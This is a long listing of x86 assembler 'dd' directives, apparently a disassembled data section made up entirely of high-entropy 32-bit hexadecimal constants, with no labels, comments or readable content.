		dd 4C4B5A1h, 9B213FDAh,	311D6600h, 0C8EA15FDh, 8CC00F4h
		dd 4A9FB9D0h, 46004CCDh, 0F8161C3Eh, 64B3A2h, 8835FF91h
		dd 821FE470h, 173CABB8h, 66260097h, 0FC1C44F0h,	77E70031h
		dd 0B97B9C20h, 0CB03A43Dh, 0DCCCD12Ch, 62219850h, 0EF7CD5h
		dd 700E41B5h, 25EAD298h, 1FA23F02h, 6080B71Bh, 24FD71h
		dd 365053F6h, 27A171E6h, 0F9A811C3h, 37D883Bh, 66843D1Fh
		dd 7C38F300h, 206C51Ch,	8920BB03h, 0A8CBD6D1h, 188CA2BDh
		dd 3E147881h, 0EE0015AAh, 5537BFB6h, 0F0227Ch, 0FD191D33h
		dd 0CCF9254Ch, 5DD6E000h, 227B3594h, 0EC0900DAh, 3EADC5BBh
		dd 7F3CBCD2h, 3BC7095Ah, 1C1280DBh, 7EBA7C24h, 0B7AE0F5Dh
		dd 0DF265E90h, 0F40021D5h, 0B6AB0D07h, 6210EAh,	22A82E74h
		dd 0D43B06CAh, 0F97754C0h, 380FE416h, 5800FDC2h, 8C28318Fh
		dd 5D00B449h, 4826DC33h, 1413DFBDh, 88FC6C6Eh, 8F242C00h
		dd 0E6E2DA91h, 0C21EDC00h, 0F7C75795h, 0BE613DAAh, 19D80078h
		dd 0ECF46C48h, 0F2009D59h, 0AC551590h, 78C606Ah, 0B1821141h
		dd 8691A048h, 7400E334h, 2D8EDA32h, 7AB407Ah, 4D83A3E4h
		dd 56190055h, 90006C79h, 6ECC49E2h, 38417BCh, 152A541Dh
		dd 4A0093A8h, 14E77DD6h, 3BDB98Ch, 2A7B4287h, 1CC39FEFh
		dd 0F85F1600h, 220A8BAAh, 90FFE647h, 98E50363h,	92DF02F5h
		dd 0B351A2E0h, 0D1BBE300h, 0DE04FCD4h, 6CA0A017h, 94FA47h
		dd 81FD0307h, 60730D9Eh, 0BC72C400h, 375B3024h,	0AC2C00F7h
		dd 0D9A52ECAh, 32589011h, 8857073Eh, 494039C8h,	5DC8D47h
		dd 275ED7E9h, 12CDC084h, 900E411h, 4F7A2596h, 58265Dh
		dd 0DBCF3A22h, 0E2B77228h, 4AA51303h, 0A8088BEFh, 1E7A95h
		dd 21913186h, 0B2D944DBh, 14CC83Bh, 0EEB0EB89h,	8857A966h
		dd 6094B680h, 0BA91076Ch, 0F0C15399h, 0F035DC68h, 0D4B9BC00h
		dd 0F1E99B4Dh, 4F7CEAh,	37512B25h, 0D289D62Dh, 7C8F0800h
		dd 56AA7E62h, 0CEF03F9h, 0E3908A9Fh, 21339ED0h,	0A37DA600h
		dd 353FFA11h, 3EDE5899h
		dd 0B7751200h, 2AD42C0Bh, 46566303h, 0E2152118h, 0C030E004h
		dd 770F272h, 7BC555E9h,	8D8E503Ch, 0DE00CB4Ah, 33AD51F0h
		dd 1CD2B074h, 0C03CCEE5h, 243D3EDDh, 0C95887B7h, 1B170065h
		dd 2F0B4518h, 58FE75h, 88703521h, 0A57B2DF7h, 80842338h
		dd 505D4AE5h, 0EB4B41h,	8CF73C52h, 0D48863DEh, 130BE171h
		dd 8043C25Ch, 0B1601CB3h, 3C4A3B84h, 80FBBE00h,	9AD5D153h
		dd 91AC100h, 20C4A23Bh,	327100BAh, 0FCF83451h, 3498165Dh
		dd 0D5CBA718h, 2241AF9h, 1F15970Ch, 0D2E0BD47h,	43011B2Eh
		dd 945BF6E3h, 0AC20F296h, 8F7E00F4h, 3AEFA744h,	10FF535h
		dd 842EABh, 29874091h, 56A20134h, 9C4BB3FEh, 371620E0h
		dd 8055263Bh, 0DE46A545h, 0B0598Fh, 6134A347h, 0F7FE3A20h
		dd 758B5E1Dh, 0AFF82280h, 368F7Fh, 0AE192CBDh, 0C4D93E78h
		dd 0A060A8A0h, 0CDA44B00h, 1ACE22E9h, 0BD410091h, 0A7F5AC97h
		dd 2E03CBA6h, 0A104AF92h, 753FF00Eh, 1AD11E4Eh,	0E54300FFh
		dd 0A42B1E7h, 86125473h, 0B400352Eh, 8C198305h,	263F7F38h
		dd 402961h, 1B3284D8h, 0AB003D7Ch, 0B76830BCh, 0D3AAB1h
		dd 78DB8BAEh, 0A64A6410h, 3CC80900h, 3E91E47Dh,	0AB8A0467h
		dd 0C534B86Ah, 23346788h, 0D000B782h, 740ACD0Ch, 0E4660E1Bh
		dd 0A5D800DAh, 0DF475F8Fh, 760F4986h, 0E069FFBCh, 8854FB0Dh
		dd 0C1120A4Eh, 0ECC1F7Ah, 23207E42h, 0AFAE5E9Ch, 62D559C0h
		dd 7CD6DDA7h, 24F200C9h, 0F3E86884h, 7D2E5636h,	7C00D181h
		dd 0CC7794ABh, 0A6913AA1h, 68392500h, 110BE23Dh, 520088FEh
		dd 9B071F79h, 7B6EAECDh, 8A1801D0h, 6526E405h, 11F4F002h
		dd 7E41AF48h, 884B4Ch, 0FAB6427Fh, 7A98652Ch, 11609984h
		dd 80C43F96h, 5F3FA11Fh, 0BAC0A3h, 7981C57Ch, 3D266953h
		dd 19A3200h, 7ABFD2E7h,	0A2D00E5h, 8987DD07h, 44725F7Ch
		dd 0AD002279h, 0CC618FCEh, 8C7BCAh, 9F39F3BEh, 4DB4D9A6h
		dd 15441C00h, 25949D7Dh, 93C100D2h, 3041CCA2h, 903DD3Eh
		dd 6423BC14h, 0B2BB84Bh, 0E29E00AAh, 76710284h,	0E17EBEB8h
		dd 1F17AD00h, 293E0188h, 1B0B03CAh, 57EC50FAh, 9258DB98h
		dd 78689A00h, 0F633BA4Eh, 0FEC50CD4h, 144825DDh, 0BCABD22Ch
		dd 0CD831000h, 0C0A818A1h, 593FCE58h, 88004ABFh, 9D0B64E2h
		dd 22F0F9h, 1C5398A8h, 0D1322F65h, 619B6B02h, 808A8FC5h
		dd 0D6943AA3h, 0A0C6A1AAh, 807DA3CFh, 800807h, 8174CFE3h
		dd 0A5A29188h, 8AF9DB00h, 1A6B4910h, 1757C0Bh, 9C89D338h
		dd 0C8294AD7h, 0F0EC5BDh, 2F321C90h, 93658125h,	0E0E4A292h
		dd 0C96900A4h, 0C4D51DF5h, 34018170h, 19D9B028h, 28806DE2h
		dd 7E3D4D50h, 7A00D835h, 7364B1AFh, 58A3CCh, 4C7289E5h
		dd 574E6E3Eh, 0F5365500h, 4BF9021Ch, 0B3EE46h, 0FAC201F6h
		dd 0D7A7285Eh, 0F2136400h, 219273ECh, 0B72C3AF5h, 45184F9Fh
		dd 7A751DCh, 5054811Ch,	1A4473D8h, 8200417Ch, 3325D9E1h
		dd 0FA45B6h, 0A7F77E5Ah, 0CD9544C6h, 0E59524Ch,	0E7034A85h
		dd 36D0639Ch, 832547h, 0C40232ABh, 5710E3B9h, 0DCBC3400h
		dd 0B213FB96h, 39E5B893h, 780905Bh, 0B8F74D7Dh,	3C00543Eh
		dd 77BF7AC0h, 1E0571h, 28F68C84h, 0E6554BE2h, 60F5D800h
		dd 0C691EBA2h, 0C0320061h, 65861AA8h, 15005626h, 883F3EE4h
		dd 0F0E28Bh, 0D91CBEB9h, 9E8F57CEh, 0EC733177h,	439AF20Eh
		dd 9145C7F6h, 0D0BD8A93h, 3F5B27h, 2355C501h, 6D47EDB7h
		dd 6A6E9400h, 7316E85Ah, 898600CAh, 0AC23ECB6h,	0F2007A3Eh
		dd 1E76AB4h, 1767D161h,	7E3387Eh, 71D38CE4h, 83D42AB7h
		dd 0C9ADDEEAh, 42C4A0F4h, 9AB900F7h, 0C849419Ch, 7B0FD4ACh
		dd 400B3CF9h, 1E846AE6h, 0EB6E0969h, 1B80C9E9h,	64681BEDh
		dd 79C0887Fh, 994EFFA6h, 494B08Ch, 5851B14h, 28EFC036h
		dd 0A600B3E4h, 73F04C23h, 7126C65h, 1CCC1D01h, 0ECDAC0B7h
		dd 2A00A802h, 8A7E35F6h, 300A0652h, 0EA50A997h,	0F0749E31h
		dd 0FA374E07h, 7950BA22h, 9C1E172h, 32892E46h, 0B4E3A801h
		dd 1AB680B8h, 0D5C6827h, 40D10F0Ch, 0E7C0F307h,	0CB75D862h
		dd 4B2DAA00h, 0D025EC48h, 719A0094h, 89DAA015h,	0DE00C457h
		dd 0ABA6C2F3h, 60AECA10h, 3BA8E8ADh, 593F765Eh,	663F00FEh
		dd 86388909h, 247700DCh, 91A3EB72h, 1200F54Bh, 0CB6237F2h
		dd 30CE1FBh, 0E5A58BA7h, 7DE83F43h, 5C0C3CB8h, 0F8285986h
		dd 797A006Eh, 32155B17h, 490097EAh, 0F385404Eh,	7C6BB5FDh
		dd 7E5FA70h, 2211CDD1h,	0DBE1BF5Fh, 6077A339h, 0DF0B7C21h
		dd 8068F254h, 802FB02h,	7DD1120Fh, 24C00060h, 9028F467h
		dd 0B8AC4Ch, 0C8B7883Bh, 60B6525h, 2D1C0CE4h, 0F300B0AAh
		dd 2FDC391Fh, 255DB1h, 3DCF6378h, 9DE7FF5h, 0F0FC9498h
		dd 0E157D70Fh, 78C407A0h, 4CEAAFD0h, 6CF9008Fh,	0BF238E43h
		dd 0DD712D02h, 0BA985E14h, 628700F6h, 0B34BCD72h, 0BB9400FCh
		dd 0EDE92321h, 9500F6F5h, 5BF128B6h, 0E1F7Bh, 11992BD6h
		dd 8E453D20h, 0D1C96E00h, 1C1073A4h, 8B9B0030h,	6BD6C4BBh
		dd 50B9A63h, 12255FDh, 5C2C9518h, 79C34760h, 0DDB20709h
		dd 81C959D4h, 0F8EA2082h, 46008E68h, 6A31FA62h,	1DB292BBh
		dd 6F8111h, 9D44FC2Dh, 7659BEABh, 0B3830354h, 80C9056Ch
		dd 35C6DA7h, 2734936Bh,	7080187Ch, 0AB00047Ah, 0C3551ADCh
		dd 4CBB4A45h, 780004F1h, 0D7FEBD74h, 0DB009BA2h, 0BF4E8C2Ch
		dd 0FA3D81h, 0F2F37C2Bh, 0F1E0CD93h, 6D002077h,	1D7896CCh
		dd 4CD8AFh, 0E6093F02h,	22BF9CE4h, 0BD7DAD00h, 6193DEB2h
		dd 6D8F00CFh, 67A21019h, 91098B57h, 0D53347h, 41409456h
		dd 61D003C8h, 0D1E717C4h, 586401B0h, 0EAA22000h, 84A192AAh
		dd 18DE09Ah, 41439D7Ah,	0CC2CC8BBh, 0D102EA78h,	0B4D0D2A6h
		dd 6DB480D3h, 19A8B073h, 18D48D72h, 45CE407Eh, 9C3E5137h
		dd 0FE44833h, 204BCB70h, 5DC1BBE6h, 1B992C7Ch, 69F8006Eh
		dd 19A33D95h, 2101D490h, 96A565Ah, 5660AA9Bh, 0E84350ACh
		dd 0DD9600F0h, 64AB38Dh, 8C00B0DAh, 0CC337B12h,	0EA2B73h
		dd 2C15B9A7h, 1C32402h,	0B89C3800h, 2D605313h, 1D970123h
		dd 305BEB1Ah, 20A2FD4Ah, 340098D8h, 5C536125h, 3D1415AAh
		dd 20E1D4Fh, 2EE0D7D1h,	0D612494h, 8AAA900h, 0B5982DCAh
		dd 0E10200C1h, 54EF5328h, 16006212h, 6CA9F0A3h,	2696D5h
		dd 0CA3EE9B9h, 74894FE4h, 0CF4C7D00h, 0C845F52Eh, 0B87A48ABh
		dd 251CD00h, 9A8A9C62h,	1285583Ch, 1440FDFAh, 4AEB0B2Eh
		dd 7FDAF490h, 807A30F0h, 0F4B865B8h, 14073Bh, 6A8ECF18h
		dd 67DFA7h, 0B5F8A8ECh,	0DE11D77Eh, 0DCA1FA00h,	0B7830B6Dh
		dd 3B800038h, 9504AD0Fh, 2275D4EBh, 803D107h, 7505F172h
		dd 7AC5B800h, 29A3DAh, 389092D6h, 84B35EF4h, 9AAD3B07h
		dd 20DFFD62h, 88366A19h, 4A1807AEh, 4184EA25h, 0E8F1D448h
		dd 0A800BAF0h, 285C5B7Ch, 977AFC0h, 665422C1h, 0ECE15800h
		dd 0CA71DF90h, 0CE44F700h, 0C1D33697h, 2B950F0Eh, 0DF20A0B4h
		dd 0C0A83B88h, 0B3E74C00h, 0F2C2BF09h, 8D690FE0h, 44C0653Fh
		dd 0D58160CBh, 5138600h, 0AF6F9BC8h, 3854003Ch,	1D6BFBBFh
		dd 90901F8Dh, 0CA6D0400h, 0E8714E21h, 0FCA3BDh,	0F4E19610h
		dd 0F7D381A9h, 0DF0FABEEh, 2078A5E9h, 0D09DB7FBh, 8B360065h
		dd 0FEB342D6h, 130FA4B5h, 514E4Ah, 171D1B8Fh, 0E838001Eh
		dd 8A8D63DAh, 56E293EEh
		dd 8BD40400h, 46FEAB5Ah, 9FBA0E27h, 0E7409CF9h,	0A507C5C8h
		dd 8837C7A0h, 4073F201h, 2DA04225h, 20003428h, 0DAB864E4h
		dd 3000E519h, 59FF05Dh,	0E380E6h, 0BE826553h, 2773A9B9h
		dd 92761DF2h, 5A00CFEEh, 0FC440512h, 0FCAD1BBBh, 7F670142h
		dd 6F230F5Eh, 0EC70343Ah, 0B680C60Fh, 5AE06608h, 5D410308h
		dd 9CD6D4CDh, 0A5888900h, 5F353A2Fh, 824A3A1Dh,	86B1413Ah
		dd 0F1524920h, 267E803Fh, 33B9188Eh, 0BC870EE1h, 7D809DECh
		dd 74E84B44h, 143B5AE0h, 7CB08C8Eh, 0B6610Ah, 0CB6B8898h
		dd 0BCB861C2h, 87DA483Eh, 0D11FE89Ch, 879A26F0h, 0A930C091h
		dd 14543B2Dh, 49F3B200h, 5A3DBE66h, 869100D7h, 7A9BC0CFh
		dd 800A9B8h, 0CD0189ABh, 1BB4D212h, 8116FFF3h, 0D4307876h
		dd 0B923103Ch, 0C848C045h, 0AD32EB44h, 0EEE49600h, 29191881h
		dd 934A1FBFh, 296518BEh, 888E980h, 35864055h, 83805DFEh
		dd 417C896Eh, 12F91D28h, 8B148311h, 0D80AD441h,	0E2AE0C28h
		dd 0CA6EFD29h, 104C0078h, 13BD052h, 4E99AB9Bh, 0E0EE2432h
		dd 840080D4h, 3A6AB5DCh, 0B62CEh, 0EF8D73ABh, 0E6AADB64h
		dd 0E8751300h, 603C56EDh, 0CF2009CDh, 28801679h, 0B9BFFEFFh
		dd 0CB59F903h, 0DFC97099h, 0AF40E5E3h, 0B533AE70h, 87338A6h
		dd 0B8621A03h, 77A08CC3h, 461F3BAFh, 6501844Ah,	0E8D3AB01h
		dd 1FF827E0h, 9FB668CEh, 880079D7h, 0D970852Bh,	25263A92h
		dd 40007475h, 0D4A6832Dh, 0FEA93DBEh, 412CF69Fh, 91CFED53h
		dd 0D8542548h, 0B9009332h, 0CBD53FC7h, 0F5EBD6h, 0C9A6777Ah
		dd 0D86F4B10h, 89335E00h, 21EE6427h, 1976264Fh,	25320094h
		dd 0A95EA8E9h, 2C677F0Fh, 8621B8B6h, 74900341h,	5ADF9D16h
		dd 775EABF0h, 0BDE9A403h, 70DCD5h, 7066CE0h, 4771BE5Ch
		dd 0DA1CA500h, 22574024h, 77E082h, 9B430C23h, 75C7F439h
		dd 34909EF2h, 2717260Eh, 588EC090h, 0BE4436h, 94D1164Dh
		dd 0FCC95B57h, 0B8777271h, 0BA0E4379h, 39C588h,	56BF0699h
		dd 0CEFD0055h, 641B359Ah, 0EE1E222Bh, 0A38091DBh, 0B137CA6Ch
		dd 0C33030Fh, 0CCE77019h, 1505180Fh, 0E799AE9Ch, 65204571h
		dd 0B0BEB6h, 6418FCB2h,	5CAC1994h, 44AF9300h, 0F405CD71h
		dd 9E980180h, 0EA68F16h, 0FA9FC4EFh, 11CEB000h,	35E5CB69h
		dd 0D851CF2h, 14E8C168h, 0CC8A566Dh, 595C5464h,	19B2003Ah
		dd 0F1805D8Ch, 0B32B4846h, 4C75F407h, 6B4870BDh, 0E300519Fh
		dd 6D84F7ADh, 1276067Fh, 6718BAh, 962B15C8h, 0CE003DECh
		dd 5D7A050Ch, 0D2744Ah,	7C57F5C8h, 0CFFE6D23h, 600FF9F6h
		dd 803E1EA4h, 1DC42CE0h, 2E7239h, 26AF5E25h, 7A124955h
		dd 6C007890h, 0CD7F976h, 779C32ACh, 48EB78BBh, 0B60010E1h
		dd 19FC58B7h, 0F879D912h, 9E5C9207h, 5D741BA2h,	65DA3090h
		dd 10C90DDh, 0E436EF99h, 0E0EA9680h, 0E93B452Ch, 0AFD60066h
		dd 2E0A64EDh, 31711CCEh, 0A02EE6h, 0A081922Bh, 9C1FE537h
		dd 0E40EAECh, 86F35A75h, 92940021h, 9ECEACA6h, 88004DB4h
		dd 0F1E280FCh, 9077D3BEh, 3AE600E0h, 9EC8DE9h, 2900B870h
		dd 0C6D22203h, 0A0EF88D9h, 78C17CFh, 5CDCDE9Eh,	5584D0E6h
		dd 2F161BAEh, 0EB5A0Fh,	0E17E31E1h, 0E002317h, 0AB24D8ADh
		dd 0A334E7h, 28714BD9h,	0E5791618h, 313F6C00h, 0BC12FEA1h
		dd 0D5E7016Bh, 580D1141h, 16B730EDh, 179ED300h,	4EA75A5Bh
		dd 0BD0600E7h, 0FAE165CCh, 2200E373h, 44CD051Dh, 7B4A69Ah
		dd 647CB3A9h, 77275135h, 82CCC089h, 0DA3FEA00h,	0CBBEDDB7h
		dd 5C00033h, 0C4949804h, 0AC0FE94Dh, 0E0B0303Ch, 0FDF7B602h
		dd 1592000Dh, 296D9D25h, 0DB07A623h, 94149789h,	0FAB7C5A0h
		dd 55510027h, 1036263Ch, 8200CF2Dh, 0ED88C68Ah,	26CCB0DCh
		dd 38318Ch, 0DF0222Ch, 0FE0374F9h, 89C81779h, 0D5299853h
		dd 0D6720046h, 6F56D01Ch, 4500336Bh, 288990F1h,	1183DC7h
		dd 9257938Ah, 0EC9864EEh, 17F8FDDBh, 0B100A979h, 0EA8D4962h
		dd 4872C06h, 8F430109h,	36ECC037h, 0F0A96902h, 4292C87Bh
		dd 0E7748A00h, 57B21B05h, 0B07AF1CAh, 0E60BECCDh, 81635C73h
		dd 1FD19A97h, 0B3EDC13Fh, 68B5C083h, 0A9222700h, 6387E60Fh
		dd 387C0039h, 8CFF1EEEh, 3000EF03h, 72D10258h, 159CEA6h
		dd 1DC19E8Fh, 247747DDh, 0A870B79Ch, 480F6C17h,	0BFDC2180h
		dd 922A0178h, 8FC53FCDh, 2B70F04Bh, 0FDF47906h,	9848D9h
		dd 0D1997329h, 87518F6Bh, 0F191BA07h, 0E00F8536h, 0B9A2215Ah
		dd 0E42B4C02h, 0AAFECA00h, 68A8414Fh, 93C36500h, 6ECD6CB3h
		dd 0E8270F64h, 4182B73Eh, 0D4803D32h, 0D2FF284Bh, 85D6B604h
		dd 0D4C016C7h, 0C3A4C8Dh, 12B18F27h, 2C124E88h,	0A5001FA0h
		dd 91F6D043h, 881D6011h, 0E247A5Ch, 3B32A501h, 0A039BFDh
		dd 1E7C7BD4h, 0DFD5EC85h, 0F2017FC3h, 3776938Bh, 0C938008Ah
		dd 3D490C6h, 0D8EDE72Ch, 0E8875AEh, 0B973C0F4h,	0BC00E2F8h
		dd 0D4984A47h, 24FED936h, 78A0EBh, 545EC07Fh, 6E005A65h
		dd 9BBC1B31h, 0D9023h, 0F2EDEA22h, 8993CB9Ah, 0D8947B00h
		dd 0B59BF6F3h, 19DC0008h, 0A7125D75h, 290013A9h, 81336644h
		dd 26DF28F6h, 1C0DACBFh, 0A4FDC086h, 776FDD82h,	0A0801C00h
		dd 991879C3h, 0E5761Dh,	0C40BC1F9h, 74B3389Ah, 0AC817A13h
		dd 4068090Eh, 0CE22554Dh, 0B71A005Eh, 775A11A9h, 1C008057h
		dd 6F437D35h, 0D6F514h,	0AABFF321h, 0B888E633h,	2924F60Fh
		dd 5DBB001Bh, 9D6186h, 0A362457Fh, 0FA5789CAh, 0A4EBE007h
		dd 8F20505Ah, 0B44BCBh,	4E1920BEh, 0B859B16h, 4A08DD00h
		dd 8FB01DF3h, 0D0910044h, 0E8E33FD9h, 0DB2C0BABh, 0E200CA28h
		dd 0F30FFC6h, 0E01701B7h, 0D3E18886h, 8A388024h, 0BB26DAA2h
		dd 4C482EB9h, 0C53930CEh, 0A00030F1h, 1F0B7ED9h, 3BDD1Eh
		dd 0B139CE62h, 0F9D1A255h, 53779401h, 223C42EBh, 0A02AA0DFh
		dd 1E180096h, 4563A9Ah,	19C0E2EDh, 327A8925h, 0DA3300B8h
		dd 9DB49CFCh, 710075D4h, 0A4E059C4h, 1A2F97Fh, 0E2963ECAh
		dd 80B6701Ah, 464B6920h, 0E676248Ch, 9206009Fh,	1DE7C59Ch
		dd 0CB30EF36h, 794828DAh, 37D1D24h, 0D012C0D4h,	1FDB43EEh
		dd 1A762200h, 30DE5D59h, 17FA41h, 91A2185Ah, 831FA578h
		dd 0CE4BC400h, 988DDE4Fh, 0A7C60F05h, 6000FF3Dh, 0DA2201ACh
		dd 0DC348B07h, 0BC762EF2h, 32C23F58h, 8FDE5400h, 0C58B738Dh
		dd 0BF913800h, 0F9290AB7h, 95B200F0h, 0D64A0DBBh, 0C23CD324h
		dd 5FF78768h, 25F0EB70h, 13418C42h, 9DFFEh, 57E0FFE2h
		dd 4E00B1B8h, 34A3355Ah, 889B05h, 422EA90Ch, 691AEF66h
		dd 4E900200h, 4C85C075h, 0A89A0003h, 9E235856h,	3F01C2CAh
		dd 0A5050B0Ch, 1AD8B8E5h, 9F900A9h, 0CE5FFE6Ch,	200498Eh
		dd 0D19F401Eh, 18C4FFB6h, 207203CFh, 2200A8E4h,	3A06B428h
		dd 4036FCh, 0E2241E12h,	2395C3F7h, 7D0E6AF0h, 405AFF39h
		dd 247136C9h, 9015504Ah, 159EA11h, 0A586B15Bh, 0C1B8F329h
		dd 0AC9DE4B0h, 94D7F03Eh, 3FC1E414h, 0E8E059Fh,	0CC13971Eh
		dd 0A0BA0D06h, 0A1230820h, 0E3C0C5F4h, 7D47B11h, 22129FDh
		dd 87AB4098h, 0D809DADh, 6D800BEh, 4D076874h, 0EF003D26h
		dd 0E5D59BAEh, 38E40D3Fh, 0F2008A8Bh, 3EE74BA9h, 0BB00A1C4h
		dd 3078ADAFh, 0C0940A8Fh, 5184D980h, 0BF1CC4D1h, 36403840h
		dd 0F49C671Fh, 72D80588h, 236342h, 9E019980h, 3D33A3D7h
		dd 0A8AD6964h, 247F4C38h
		dd 873C4102h, 695073h, 0A82CDDF7h, 0F4C6C100h, 8F82EC98h
		dd 115A001Ch, 9FB4F6ADh, 0CC003808h, 5C20AAA4h,	343046Fh
		dd 0F7EAE856h, 5001A18Ah, 8069D9F2h, 9457C9E5h,	4E4840C8h
		dd 0F80143DCh, 0C5B2FB5Ah, 0CDC4C0E5h, 1FA4042Eh, 80E80619h
		dd 0ABF3BA2Ch, 8E5F7E3Dh, 0A08A0317h, 403F3251h, 5AE0C028h
		dd 63CB2994h, 0B7B10200h, 0F20F9253h, 607709h, 8D9C2CDEh
		dd 5C08849Fh, 0EB26FF00h, 0E357C3A2h, 3B42005Dh, 0C099327Fh
		dd 173064B2h, 0A6D80E1h, 69300ADh, 9B048B26h, 0C5000C69h
		dd 0E0AF6201h, 0E026440h, 92CB63B9h, 2CCB30Ah, 6BDCBBC5h
		dd 0B4004362h, 0E9492F41h, 38C2F600h, 87073193h, 0CC1D006Fh
		dd 769B528Fh, 0A0006B6Eh, 856958ECh, 0DD6DFE2h,	244AB743h
		dd 86E4C4E0h, 62C81C00h, 0BF703AC1h, 12A75FFh, 0A3ABF53Fh
		dd 0FE82A6F9h, 86C57840h, 485842Ch, 3F43AE02h, 98F0A0B9h
		dd 0DE3012Fh, 0B6F31CF4h, 0D50DC0B0h, 38C848h, 5A3E6E36h
		dd 3FC52A1h, 12BEC137h,	0D09C9EF4h, 0D4242A6Ch,	0E331800Eh
		dd 384201Dh, 38BF6F93h,	78061150h, 885B66FEh, 0F0F45441h
		dd 5E81C0DEh, 0E5B950DBh, 3713207Fh, 9CA025CBh,	0BC284C6Eh
		dd 1B960075h, 748F86A0h, 9400ABC6h, 0F84ED4D3h,	72D29A77h
		dd 33B1023Eh, 1AE9F08Bh, 8C0C1740h, 3436600h, 6C8964C0h
		dd 8D0718DCh, 0CBEB8847h, 5400AA98h, 0EA989F32h, 927E1DBFh
		dd 0EB1F0284h, 9CEE3C9h, 50A5AC80h, 7220B189h, 0BEF832A1h
		dd 4461B49h, 8F559E00h,	0AF0A7D3Ch, 6B0B0734h, 70F74EEDh
		dd 3D295FFDh, 0DA5969C7h, 231596C0h, 3F934825h,	77C2C700h
		dd 0A640B95h, 0E81CE000h, 0EC659C88h, 0E37100DCh, 0A4DF442Fh
		dd 13077954h, 0BF217C91h, 4085B8F2h, 7F7E21h, 0C6D4A9E7h
		dd 0CE7A6114h, 6B5F7B00h, 0E1F536CBh, 89F62C62h, 0BD09005Bh
		dd 8C96A35Dh, 2F8F5F1Fh, 0AB8ED400h, 0CF7530Ch,	0B67B97CDh
		dd 9E009311h, 0AC062DB1h, 7A61928Eh, 3ADF030Bh,	0CED7EA6Ah
		dd 0F9531688h, 0CB208001h, 0E65D870Ah, 0E83F4CE4h, 93FB07D3h
		dd 90750E48h, 59EBCFC8h, 332DE200h, 0D4673590h,	0EC760061h
		dd 539BD80Ch, 2A00F6A8h, 8A64CF8Ch, 8F3EE02h, 519A87CBh
		dd 73F09200h, 0BD3B5Bh,	7D969B21h, 0BE53AA99h, 2DF9640Bh
		dd 0E70A03AFh, 1A05A07Ah, 0CCC10050h, 8DC6984Dh, 0EE00CA2Dh
		dd 107A92B5h, 0F436D861h, 15463E16h, 12DE2200h,	31918377h
		dd 800527Fh, 7385CC60h,	17C7A096h, 0BFF42Ah, 5B50766h
		dd 5300184Bh, 8025ACEDh, 0F7179Ah, 496BE341h, 4EC28B7h
		dd 0B9156F12h, 0F841F0h, 0CF8EFBDBh, 7DC3B2EEh,	302ADC00h
		dd 72CAAF6Eh, 0FE0200D8h, 0D92CC578h, 6817BDBAh, 3700B01Bh
		dd 6B30C3D7h, 0F28E0E15h, 0A18FA326h, 1FD82560h, 0B9786916h
		dd 6D7D3400h, 24BB18E1h, 0EABA1885h, 0D2CB3E75h, 8F41E717h
		dd 7DAA0D00h, 3D059Fh, 0A01988AEh, 1B088D71h, 761D6EE6h
		dd 7C1E0307h, 0E04F55h,	7944395Ah, 1AEBB8Bh, 40A1C633h
		dd 0EBB611EDh, 0C2B21BC8h, 6F18BD00h, 0E722FA2Eh, 98422510h
		dd 1E0C0576h, 6010E6h, 7233D201h, 3690C47Ah, 0B8419607h
		dd 5917D7BDh, 4480A9D0h, 1DB10F52h, 0B44BBF86h,	635E8A00h
		dd 3D0482B5h, 6C93D074h, 987DC2AFh, 12965540h, 0AD524000h
		dd 9C89100Ah, 0C72E0090h, 0A849426Ah, 98747B1Ch, 0D3AC7A50h
		dd 1014AFF0h, 0CA8875h,	0C2B1346Bh, 7BB3F7h, 0A53F70AAh
		dd 3278336Eh, 87E6CCA0h, 0C190960Fh, 9343A1DAh,	5AE83EEBh
		dd 7D637A07h, 2EAB003Ah, 0AE49DE10h, 2400EBF0h,	0EC8ECAEEh
		dd 2468DB4h, 2F3A850h, 0CAC04F14h, 9800E0EDh, 61CE408Eh
		dd 4E6704h, 0F7C496B6h,	7DF5D387h, 0D2AE20Eh, 3538E633h
		dd 0F4140388h, 0DEE8993Ch, 0BD058F80h, 379C080Eh, 5C6960A3h
		dd 0C7D5F3h, 0E50CBE62h, 0D7B1F5EBh, 659D4003h,	0A8497434h
		dd 83F29Ch, 4582B253h, 2D6D7867h, 26B55601h, 16F9A792h
		dd 969E4h, 0C00504F6h, 0DF3846BFh, 0F1E3FC00h, 0BBB03A6Eh
		dd 18D42C49h, 0E1E2003Fh, 0C41F96E8h, 3DBD9E00h, 997C41F9h
		dd 0A94038Eh, 2ACCD8FEh, 9DC70F88h, 429F600h, 7B8DA93Ah
		dd 15AF0023h, 89CB7149h, 0EF00840Bh, 70C943E8h,	0BA1761h
		dd 5B3063C3h, 4E111939h, 5C0E7100h, 68E9EBF2h, 0BE6A3EB8h
		dd 0C2B6DA00h, 79770D10h, 0DEE6D513h, 0BFCE3A0Fh, 2119C1C0h
		dd 0E048F8h, 0E735D8D3h, 27756D8Bh, 0D9569203h,	0D044193Eh
		dd 0EA6867DCh, 0B9301FAFh, 0F298078Fh, 0CCC40381h, 0AE8088F8h
		dd 0F3443603h, 0C89EEB6Eh, 7C8FA6h, 0C1ED84B7h,	5BAE0107h
		dd 7139B60Fh, 0F66E6011h, 763096h, 0BF433344h, 387AC887h
		dd 68406126h, 85296601h, 2F4FC3Ch, 0B40A01E3h, 267A9E8Ch
		dd 0D4E4306Ch, 9B425900h, 0C2CB866Fh, 1881127Dh, 1341EE8h
		dd 0DD25B049h, 39BDE42Eh, 1E943007h, 0E20F7C1h,	0C0F91F08h
		dd 283D4E11h, 1D0068EDh, 0F523E7A7h, 181ACD8h, 2ECA31F4h
		dd 70AFFF20h, 0F2008D8Fh, 0C59FE611h, 0C0B1F13Bh, 0ED1D5930h
		dd 8A00D445h, 54DE63CFh, 90448CB0h, 47ECFF98h, 9C7C0037h
		dd 40C08EC3h, 5679B635h, 16E66000h, 0F0B09D21h,	0FFE896h
		dd 88A6FC39h, 42110527h, 9FF06DE8h, 7B1D08B8h, 4C0292D2h
		dd 617776C4h, 1E80BE24h, 440D516Bh, 1305C93h, 1ED7B05Bh
		dd 75280347h, 4888D370h, 0EAB71DB8h, 1600977Ah,	20F0F4E6h
		dd 8A4930h, 616491C5h, 95176BFEh, 72059FE4h, 6A18E763h
		dd 0C88FDA00h, 27551Bh,	0F053321Ch, 345D6550h, 4E019800h
		dd 0EDB0C8E2h, 0F8DF0040h, 3D2ECEA8h, 4A002079h, 82198C83h
		dd 7E9A95B5h, 31AB0E1h,	2EF0F26h, 8580863Dh, 4C0709CFh
		dd 1583BF14h, 0ADF99310h, 0FFAE0008h, 40468F92h, 8E002AB3h
